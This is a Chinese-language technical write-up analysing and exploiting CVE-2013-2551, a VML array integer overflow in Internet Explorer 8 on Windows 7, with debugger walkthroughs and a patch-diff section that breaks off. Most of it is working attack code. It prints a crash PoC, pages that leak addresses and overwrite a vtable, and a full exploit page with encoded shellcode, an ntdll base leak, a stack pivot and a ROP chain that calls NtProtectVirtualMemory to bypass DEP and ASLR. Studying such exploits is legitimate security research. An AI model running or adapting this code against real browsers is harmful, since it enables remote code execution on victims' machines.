CVE-2013-2551分析
cve-2013-2551分析报告
一、背景
- VUPEN 在Pwn2Own2013上利用此漏洞攻破了 Win8 + IE10 , 5 月 22 日VUPEN在其博客上公布了漏洞的细节。它是一个 ORG 数组整数溢出漏洞,由于此漏洞的特殊性,使得攻击者可以通过整数溢出修改数组的长度,获取任意内存读写的能力,最终绕过 ASLR 并获取控制权限实现远程代码执行。 Win7 + IE8 也是存在这个漏洞的,并且 Win8 使用人数过少,所以我们对 Win7 + IE8 的环境进行分析。
二、漏洞分析
2.1实验环境
| 使用的环境 | 版本号 | |
|---|---|---|
| 操作系统 | Windows7 32位 | 旗舰版 |
| 虚拟机工具 | VMware | 12.1.1 |
| 浏览器 | Internet Explorer8 | 8.0.7600.16385 |
| 调试器 | WinDbg | 6.1 |
| 反汇编器 | IDA Pro | 6.8 |
| 对比工具 | BinDiff | 4.2 |
2.2、poc.html样本文件
- 本漏洞最初 poc 是由 VUPEN 发布的,此次分析正是用它来触发漏洞,用于分析成因的,以下就是 poc 代码,如下所示。
- poc.html
- 将下面代码复制到一个poc.html内。
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
2.3、漏洞分析
-
使用 IE8 打开上图所示的 poc.html 文件,先不要点击“允许阻止的内容”选项,如下所示。
![]()
-
使用 WinDbg ,附加 iexplore.exe 运行( IE 浏览器进程 )。打开WinDbg调试器,按 F6 快捷键,出现如下对话框。
![]()
-
可以发现出现了两个 iexplore.exe ,那么我们应该选择哪个呢 ? 选第二个( 第二个为子进程 ),记住要选第二个,不管前面那个数字大小。选了第二个,点击 OK 按钮,出现如下所示:
![]()
-
然后输入 g 命令,回车,现在在点击"允许阻止的内容" ,然后在,单击"crash!!!" 按钮后触发漏洞,如下所示。

- 在命令行窗口,在输入 u 命令查看附近汇编代码,发现 edx 来源于 eax ,而 eax 的值不就是 poc.html 文件中的吗,最后会去执行这个地址的值,如下所示。
![]()
2.3.1开启hpa(页堆)
-
为了能更好的定位漏洞代码,先设置 IE 进程开启页堆。右键 WinDbg 打开文件位置,就能找到 gflags.exe 。如下所示。
![]()
-
按下 shift 健同时鼠标右键空白处,点击在此处打开命令窗口。如下所示。

-
输入命令 gflags / i iexplore . exe + hpa( + hpa 就是开启页堆),如下所示。
![]()
-
在次使用 Windbg 附加 IE 进程,使用 !Gflag 命令。发现已开启页堆。如下所示。

- 注*:开启页堆非常消耗内存,请最少把虚拟机内存分配 2GB。
2.3.2、调试开启页堆的IE浏览器
-
重新打开 IE ,加载 poc.html 后,使用 WinDbg 附加( F6 )进程执行,断在以下代码,如下所示。
![]()
-
开始栈回溯,使用 k 命令,如下所示。
![]()
-
在 vgx!ORG::Get 函数中调用 memcpy 复制数据时,源地址索引出错。用IDA 反汇编 VGX.dll然后 f5 反编译 vgx!ORG::Get 函数,如下所示。
![]()
-
动态调试分析一下。调用到 ORG::Get() 时它的三个参数,和 memcpy 的三个参数的值分别是什么,重新打开 poc.html 使用 windbg 附加( F6 ),然后使用 bp vgx!ORG::Get 下断点,然后 g 运行,点击 crash 按钮。可以发现断下,然后 p 单步运行三次,保证栈帧生成,然后使用 kb n1 查看参数,如下所示。
![]()
-
可以看到第三个参数是 0x44 。等等我们 poc.html 文件中的代码,也有0x44 ,如下所示。
![]()
-
为了验证猜想,我们把 poc.html 文件中,如图 16所示代码改变为 0x66 ,如下所示。
![]()
-
再次,重新打开 poc.html 重复上面动作: windbg 附加( F6 ),然后使用 bp vgx!ORG::Get 下断点,然后 g 运行,点击 crash 按钮。可以发现断下,然后 p 单步运行三次,保证栈帧生成,然后使用 kb n1 查看参数,如下所示。
![]()
-
确实如同我们想的那样, ORG::Get 的参数果然改变成我们更改的数值了。继续看看 memcpy 的三个参数,如下所示。
![]()
-
第二个参数(源地址)和 第三个参数(拷贝长度) 都于 this 有关。这里的 this 是 ORG 对象的指针。在 windbg 中查看下 this 的各个成员的值,如下所示。
![]()
-
其中那个 0x1c7fef50 即 *((_DWORD *)this + 4) 是非常有趣的,它所指向内存的地址里面的东西居然是 1 2 3 ... 查看 poc.html 推测,那就是 poc.html 中的代码,如下所示。
![]()
-
那么可以推测 ORG::Get 函数的功能就是获取 vml1.dashstyle 中的第几个元素的值。比如 ORG::Get(this,&Dst,1) ,那么执行后 Dst 的值就是 1 了。但是 vml1.dashstyle 中一共也就 0x2C 个元素啊。但是调试的时候却发现第三个参数 index 却为 0x44 。很明显访问越界了。如下所示。
![]()
-
我们在一次的调试在 ORG::Get 处下断,得到 v8 的值居然是 0xffff .如下所示。
![]()
-
查看 poc.html 文件,发现有如图 24所示代码,猜测这就是对长度进行设置的代码。
![]()
2.3.3、调试漏洞成因
-
此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改 length 的具体代码。
-
c++ 在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对 ORG::
vftable 的引用,试图找到创建 vgx!ORG 对象的代码。 IDA 中,在汇编代码窗口使用快捷键(要在汇编窗口使用): ALT + T ,然后输入 ORG::vftable' 进行搜索,如下所示。
![]()
-
得到结果如下所示可以看到,除了虚表本身以及两个 ORG 对象的成员函数外,只剩一个函数,如下图所示。
![]()
![]()
-
直接双击 poc.html 文件,把那个“为了有利于安全性”点击之后,再在 windbg 附加( F6 )调试,中对其下断点( bp vgx!MsoFCreateArray ), g 之后,再点 crash ,如下所示。
![]()
-
断下后,单步执行( P ),可以发现这里创建了一个 vgx!ORG 对象,我们对它的 length 所在地址下内存断点,来观察其值的变化。这里我就使用条件断点,如下所示。
![]()
-
对其下断点,查看 9135fe8 , g 命令运行,断点果然断下,如下所示,然后使用 k 命令,查看调用堆栈。如下所示。
![]()
![]()
-
看栈回溯,可以看到一个名为 vgx!COALineDashStyleArray::put_length 的函数, put_Length ,猜测就是这个函数设置的长度。那么就从这个函数开始 IDA F5 , F5 COALineDashStyleArray::put_length 得到如下所示:

- 查看比较处的汇编代码,如下所示。

- Esi 为-1,原始的 oldLength 为大于等于0的值,所以条件满足,跳转执ORG::DeleteRange 函数。(这里正常的逻辑是,如果 newLength > oldLength ,则不跳转, new 一个空间;如果newLength<oldLength则调用ORG::DeleteRange 删除之前的,进行截断。)
- 在使用 WinDbg 动态跟踪 COALineDashStyleArray::put_length的dashstyle数组长度传递情况。使用 b u命令,对 COALineDashStyleArray::put_length 函数下断点,如下所示,然后 g 命令运行,断点断下如下所示。


-
然后单步调试,一直到如下所示位置。
![]()
-
调用 vgx!ORG::Celements 获取 dashstyle 数组长度,单步 f8 进入,如下所示。
![]()
-
继续跟踪下去,发现如下所示。
![]()
-
如果这里没有跳转,那么他会重新调用 new 分配空间,空间大小=元素个数4, poc 中有44个元素,因此会分配444= 0xbo 大小的空间,如下所示。
![]()
-
继续调试跟踪会发现其调用了 vgx!ORG::DeleteRange 函数,如下所示。

- 快捷键(F8),跟进vgx!ORG::DeleteRange函数,如下所示。

- 在次按下F8,跟进 vgx!MsoDeletePx 函数,有如下发现
![]()


- 由于 dashstyle 数组长度被改写成 0xffff ,而实际大小只有 0x2c ,同时前面在对当前数组长度和设置数组长度的时候,采用有符号比较,导致堆块未被重新分配,在 poc 中最后一段 javascript 代码中,通过 dashstyle.array.item 对dashstyle 数组进行索 * 引值的时候,会调用 vgx!COALineDashStyleArray::get_item 函数获取数组元素,此时可能导致数组越界访问,最后造成进程异常崩溃。
- 对比 poc.html 中的代码,找到如下所示。 0x4b5f5f4b 也正是一开始我们程序异常的地方。

2.4小结
- 根据上面的分析,我们可以得出这是一个整数溢出漏洞。通过溢出,改变数组大小,可以对任意地址读写。
- 调用如下所示,可以读取到如下图所示的1,通过如下图所示,可以将 1 改为 6 ,通过漏洞可以将长度扩展到 0xffff 。



- 所以现在我们拥有了一个跨界的读和写。那么假如我们通过合理的布局,将一个对象布置在 vml1.dashstyle 的值所指内存的后面,那么我们就可以实现读写其对象成员的值(虚表之类的)。
三、漏洞利用
3.1、关闭hpa
- 和上面开启一样把 + hpa 改为 - hpa ,如下所示。
![]()
3.2、简化版exp.html
- 先调试一下,下面这个简化版的exp.html,如下所示。
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
alert("0x"+marginLeftAddress_modify.toString(16));
break;
}
}
}
createRects();
leak();
</script>
</html>
3.3、任意地址读写
- 打开这个 exp.html ,然后就会弹出一个提示框,这个时候不要关闭这个提示框,而是使用 windbg 附加( f6 ) iexploer.exe 进程,然后使用 dd 命令这个提示框的地址。得如下所示:

-
0X61 就是字符 ’a’ ,它为什么是字符 a 呢?我们转头去看下 exp.html 中的代码,发现里面也有字符 a 的存在,如下所示。
![]()
-
a[]数组是 _vgRuntimeStyle 对象。而 a[i].marginLeft 的值是 'a' ,我们可以推测 vml1.dashstyle.array.item(0x2E+0x16) 函数,读取到的是_vgRuntimeStyle.marginLeft 的地址。
-
我们去验证一下,由于这个时候我并不知道 dashstyle 的值的地址,所以只好使用暴力搜索的方法来查找其在内存中的位置使用如下所示命令,其中0x4e7133c 地址根据弹窗所示地址更改。
![]()
-
输入命令后,等待一下 WinDbg 在搜索内存中的数据,提示有三条,如下图 55所示,我们查找其最后一个为 0x5056078 的地址,减去 444 是 vml1.dashstyle.array.item( 0x2E+0x16 ) 函数中的参数为 0x2e + 0x16 为 0x44 ,每一个又站四个字节,就是 0x444 ,就是我们申请的数组一开始的位置,如下所示。
![]()
-
确实如同我们猜想的那样, vml1.dashstyle.array.item ( 0x2E+0x16 )读到的就是 _vgRuntimeStyle.marginLeft 的地址。那么我们就可以通过vml1.dashstyle.array.item( 0x2E+0x16 ) 读写 _vgRuntimeStyle.marginLeft 的地址。
-
为了便于大家理解,请看如下图 56所示,请看 0x4e7133c 的地址就是存放字符 ’a’ 的地址,而 0x5055f68 就是数组开始的地址,我们的数组一共有 0x2c 的长度,我们在向后数三个就是 0x2e ,在向下看,就可以发现 0x4e7133c ,就是保存字符 ’a’ 的地址,我们在从 0x2e 偏移处,到 0x4e7133c有多少偏移,赫然发现就是 0x16 。现在大家应该可以理解这个漏洞为什么可以造成任意地址读写。

3.4、利用原理
-
通过构造 0x400 个 COARuntimeStyle 对象,在第 0x301 从 0 开始计算,因此需要在加 1 ,创建包含 44 个元素的 dashstyle 数组,他会分配 4*44=0xb0 大小的 ORG 数组。
-
当 ORG 数组与 COARuntimeStyle 对象相邻时,可以利用COARuntimeStyle 对象偏移的字符串,相当于 ORG 数组的第 0x2c+8/4+0x58/4=0x2e+0x16个元素。从而获得 COARuntimeStyle.marginLeft字符串在内存中的位置,如下所示。
![]()
-
通过泄露固定地址偏移计算出 ntdll.dll 基址,在利用基址构造出 ROP 指令来调用 ntdll!ZwProtectVirtualMenory 函数将 shellcode 地址设置为可读可写可执行权限,从而绕过 DEP+ASLR 保护。
3.5、劫持eip
- 我们通过 exp_1.html 如下所示代码,用于劫持 eip ,从而控制程序执行流程,转到 shellcode 去执行。
- exp_1.html
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
break;
}
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0; //覆盖到虚表
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
createRects();
leak();
exploit();
</script>
</html>
- 直接鼠标双击,打开这个 exp_1.html ,运行后,不要先点那个“为了有利于保护安全性”,而是先使用 windbg 附加 ie 后再点击“了有利于保护安全性”,然后点击,之后会断下来,断在如下所示位置。

- 我们发现 call (调用)一个地址,是 ecx+8 ,可以看到如上所示 ecx的值为0x0,再次查看 eax ,就是我们对象的地址。对比 exp_1.html 发现如下所示。可以推测,ecx 的值来源于 eax , eax 存放指向虚表的地址。而我们可以控制 vml1.dashstyle.array.item(6) 的值来控制 ecx 值,转到我们的执行流程,达到劫持 eip 的目的。

3.6、获取shellcode内存的地址
- exp_1.html 文件中的如下所示,上面我们找到了它所在的内存地址。其实现在已经能够对漏洞进行利用了,可以控制 eip 。只需同以前一样使用堆喷射,申请空间把 shellcode 放到我们构造好的 eip ,然后 rop 指令( pop pop ret )就可以正常的进行漏洞利用了。
- 但是在更高版本的IE浏览器,就不能进行堆喷射了,比如 ie9 使用了 Nozzle 的防御措施(禁止申请包含重复内容的内存),IE10 与 IE11,可以采用 DEPS(这里不对 DEPS 进行介绍网上有很多教程)进行堆喷。但是堆喷过于暴力,一点也不优雅,这个漏洞可以获得 shellcode 的地址跳转过去。实现漏洞利用。可以这样做,如下所示。同上面找字符 ’a’ 的地址一般。
![]()

- 我们把上面,调试字符 a 的地址的 exp.html 文件略微改变成上面,如图 64所示。*注意: shellcode 不能出现 0000 这种字符,因为 uncode 字符集以 0000 为结尾,所以出现了 0000 就会被截断。这时候就要改变我们的 shellcode 。
方法一:通过动态的加密解密,对 shellcode 进行加密,然后运行时头几个字节负责解密。
方法二:找到照成截断的汇编代码,找到替代指令。 - 如上图中的 shellcode 是经过检验的,有很好的兼容性、适应性,不会被截断的。
- 如同上面找字符地址一样,双击运行,会出现一个弹窗,然后 WinDbg 附加。使用 dd 命令查看地址,如下图 65所示。我们的 shellcode 是正常写入,并且找到 shellcode 的起始地址,如果还不放心可以使用 u 命令,后面接shellcode 地址,查看反汇编是否正确。 a[i].marginLeft 的地址我们可以通过vml1.dashstyle.array.item(0x2E+0x16) 得到。好的,那么现在我们已经得到了shellcode 的地址了。
![]()
3.7、信息泄露
-
首先我们需要泄露 ntdll 的地址,试试 u SharedUserData!SystemCallStub。这是个固定的地址 0x7ffe0300 ,用来实现快速系统调用。可以使用它来泄露 ntdll 的基址,如下图所示。
![]()
-
使用 u SharedUserData!SystemCallStub 命令,看到地址果然是 0x7ffe0300 ,而 0x7ffe0300 存放着什么呢?使用 dd 命令查看,发现还是一个值,我们在回头来看 ntdll 的地址,使用 lmm ntdll 命令可以获取到。起始地址是 0x77810000 到0x7794c000 ,刚才的地址不就是在这个地址范围之内的吗。使用 0x778564f0-ntdll 的基址(0x77810000)就是 ntdll 与这个地址的偏移了。根据这样就可以得到 ntdll.dll 的基址,然后就可以构造 rop 指令了。
-
SYSENTER(快速系统调用),用来快速调用一个0层的系统过程,SYSENTER 是 SYSEXIT 的同伴指令,该指令经过了优化,可以将用户代码,向操作系统或执行程序发起的系统调用发挥最大性能。调用 SYSENTER 指令前,软件必须通过下面的 MSR 寄存器,指定0层的代码段和代码指针、堆栈段、堆栈指针。
-
通过如下所示代码,通过把地址 0x7ffe0300 写入 dashstyle ,然后使用a.[i].marginLeft 把 0x7ffe0300当作地址读取出里面的数值,在通过 parseInt 函数,减去0x464f0( ntdll的偏移)就通过信息泄露得到了ntdll的基址。
![]()
3.8、构造rop
- 现在已经知道 shellcode 地址怎么获得,知道如何改变程序的执行流程,也获得了 ntdll 的地址,我们可以直接使用 ntdll 里面的代码来构造 rop 指令,并且 VirtualProtect 底层调用的就是 ntdll.dll 里面的 NtProtectVirtualMenory 函数改变内存的属性。
通过下面的函数 tab2uni 得到 rop ,然后使用 a[i].marginLeft=rop_chain 得到 rop 指令的地址,如下三图所示。



- 使用上图获得的 rop_addr 给 vml1.dashstyle.array.item(6) .然后在就劫持了eip 。 get_ropchain() 函数里面有一条 ntdllbase+Number(0x46b13)就是 ntdll的基址+ 0x46b13 ,此处的指令为 xchg eax,esp 。Esp 就是当前堆栈的栈顶,eax 是当前对象所在内存的地址,xchg 交换两寄存器内存,这样就造成了换栈。现在栈空间就是我们的 vml1.dashstyle.array.item(6) 所在内存空间的值了。依次往下排列 vml1.dashstyle.array.item(7).
- 搜索 ntdll 在内存中的指令,构造 rop 。方法一、可以使用 mona.py 插件,自动化完成任务。方法二、自己编写程序在加载 dll 到内存搜索字节码。方法三、使用 OD 调试器搜索。
- 为了演示 rop 构造过程,这里展示第三种。
- 打开 IE 浏览器,运行 OD 调试器,点击文件选择附加,如下所示。选择如下所示进程,然后按下快捷键 Ctrl+E 可以看到加载的模块(主要指dll )。
- 如下所示,找到 ntdll ,双击进去,就到了 ntdll 模块所在空间。如果不确定,是否到达了可以查看调试器上面的标题如下所示。




-
按下快捷键 ctrl+s ,会出现搜索窗口,在其中输入要搜索的指令,然后点击查找就可以找到相应的指令。如下所示。
![]()
-
接下来,继续查看用于构造 rop 指令的代码,如图 76所示。我使用的是在用一个 ret 指令,将其 NtProtectVirtualMenory 函数的地址给 eip ,接下来就应该构造参数了。参数是从左向右依次入栈。现在所执行的就是堆栈,栈已经被我们给改变成现在所执行的区域了。所以说,要直接向下构造。这个函数是我百度,没有查到,也去. chm 文档也没有查到。怀疑是一个未被导出的函数。但是我们已经知道他是 Kernel32.dll 里面的 VirtualProtect 调用的了。可以写一个demo 然后逆向其参数究竟是什么。在这里已经可以直接使用 VirtualProtect 的地址利用一下,查看是否可以攻击成功。

- 我们泄露 ntdll 的基址,最好还是使用里面的函数,不要去用其他 dll 导出的函数。目前并不知道 NtProtectVirtualMenory 函数怎么使用。编写 demo 代码,如下所示。使用 x32Dbg ,因为自己编写的程序有符号,这个调试器对符号支持较好。使用 x32Dbg 打开这个程序,直接 Ctrl+g 然后输入 VirtualProtect过去,如下所示,然后下断点,使程序断下。


- 程序断在 VirtualProtect ,一直 F8 单步运行,会发现其跳转到 Kernelbase模块,如下所示。再次 f8 一直到如下图所示, call 指令。跟进去,看调用的什么,如下所示。查看参数只发现了 0xffffffff ,猜测是代表本进程,还有 0x40 ,是要改成为了内存属性。如下图所示。
![]()


- 另外三个参数,不知道是干什么的,去查看地址果然发现,根据常用封装方式,以及代码对比,发现低. 0x25f924 是保存要改变空间的起始地址, 0x25f928保存要改变内存的大小,最后一个 0X25FA28 保存现在内存页属性的地址。如下图所示。


- 通过简单的逆向,获取这个函数的地址,这个函数底层调用的就是 ntdll 的地址。可以使用 WinDbg u 命令查看一下,如下图所示。
![]()
- 知道了参数我们就很容易构造了,可是他的参数是指向的地址,刚好我们有shellcode 的地址吗,可以直接拿过来使用,如下所示。实验过程中,如何将申请的空间的地址写入 shellcode 呢?刚好有一个写任意地址的操作,将申请的空间的地址写入 shellcode 开始,然后把 shellcode 的地址,是参数 2 ,构造好。注意*写任意地址的操作会破坏一些空间,所以跳转到shellcode的时候,要多一些 nop(0x90)。
![]()
3.9、成功利用
- 经过了上面的所有操作,现在终于可以完成这个整数溢出漏洞了。现在先给出,漏洞利用完整代码 explort.html 文件,如下所示。
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
var rop_addr;
var ntdllbase;
var shellcodeaddr;
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;//44
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
// a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
a[i].marginLeft=unescape(
"%u2345%u3333%u2000%u0008%u9090%u9090"+
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+
"%u9090%u9090%u68FC%u0a6a%u1e38%u6368%uD189%u684F"+
"%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3"+
"%u33BB%u5332%u7568%u6573%u5472%uD233%u8B64%u305A"+
"%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6a3D"+
"%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B"+
"%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B%u03BB"+
"%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46"+
"%u3BF1%u2454%u751C%u8BE4%u2459%uDD03%u8B66%u7B3C"+
"%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0a6a"+
"%u1e38%uA975%uDB33%u6853%u6577%u7473%u6668%u6961"+
"%u8B6C%u53C4%u5050%uFF53%uFC57%uFF53%uF857%u9090"+
"%u9090");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
a[i].marginLeft=marginLeftAddress_modify;
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x464f0;
alert("ntdllbase:0x"+ntdllbase.toString(16));
shellcodeaddr =shelladdr;
alert("shellcode:0x"+shellcodeaddr.toString(16));
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;
break;
}
}
}
function get_ropchain(shelladdr){
var arr = [
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x46b13), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
0x200,// NtProtectVirtualMemory的第三个参数所指的值
];
return arr;
}
function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
}
//var qwer=shellcodeaddr;
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表
vml1.dashstyle.array.item(9) = ntdllbase+Number(0x13bc); // ret
// vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45360); //NtProtectVirtualMemory virtualprotect
vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45360); //NtProtectVirtualMemory
vml1.dashstyle.array.item(11) =shellcodeaddr+0x100; //diyige canshu
vml1.dashstyle.array.item(12) = 0-1; //fanhui dizhi
//var aa=shellcodeaddr+Number(0x4);
//alert("aa:0x"+aa);
vml1.dashstyle.array.item(13) = shellcodeaddr+4; //放shellcode的地址
vml1.dashstyle.array.item(14) = shellcodeaddr+Number(0xfc); //放0x12345
vml1.dashstyle.array.item(15) = 0x00000040; //
vml1.dashstyle.array.item(16) = shellcodeaddr-Number(0x10); //
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
createRects();
leak();
exploit();
</script>
</html>
- 注意*第一次漏洞利用后需要把,更改的地址还原,要不然会异常。就是泄露信息,得到 shellcode 地址和 ntdll 基址后,吧原来 0x2e+0x16 还原回去。如下所示。


- 一切都构造好以后,双击 exploit.html 文件,出现如下所示,出现 wailwest 弹窗,至此漏洞利用结束。



四、漏洞修复
4.1、下载安全更新
- 微软官网下载,漏洞补丁,下载的补丁如下所示,双击运行会发现出现如下所示。安装失败,应该是对应版本的问题,所以我们要去官网直接找对应的版本,先去右键我的电脑选择属性,查看如下所示。再去 https://support.microsoft.com/zh-cn/help/2829530/ms13-037-cumulative-security-update-for-internet-explorer-may-14-2013 下载如下所示,选择专业人员。





- 点击专业人员下面的链接,进入如下图 103所示页面,在其下面找到我们匹配的型号,如下图所示。


- 下载完毕,点击安装,出现如下图 105所示,正常安装。安装后需要重启,如下图所示。重启后,可以对比一下漏洞所在模块安装安全更新前后的版本,更新前版本如下所示,更新后版本如下所示。可以看到大小还有版本都发生了改变。




4.2、补丁对比
- 使用 Bindiff 对比 vgx.dll 之后,根据符号名称猜测是在COALineDashStyleArray::put_length 函数进行的修补,使用 IDA 打开修补之前的 vgx.dll 然后快捷键 ctrl+6 调出来 BinDiff 窗口,如下所示。

-
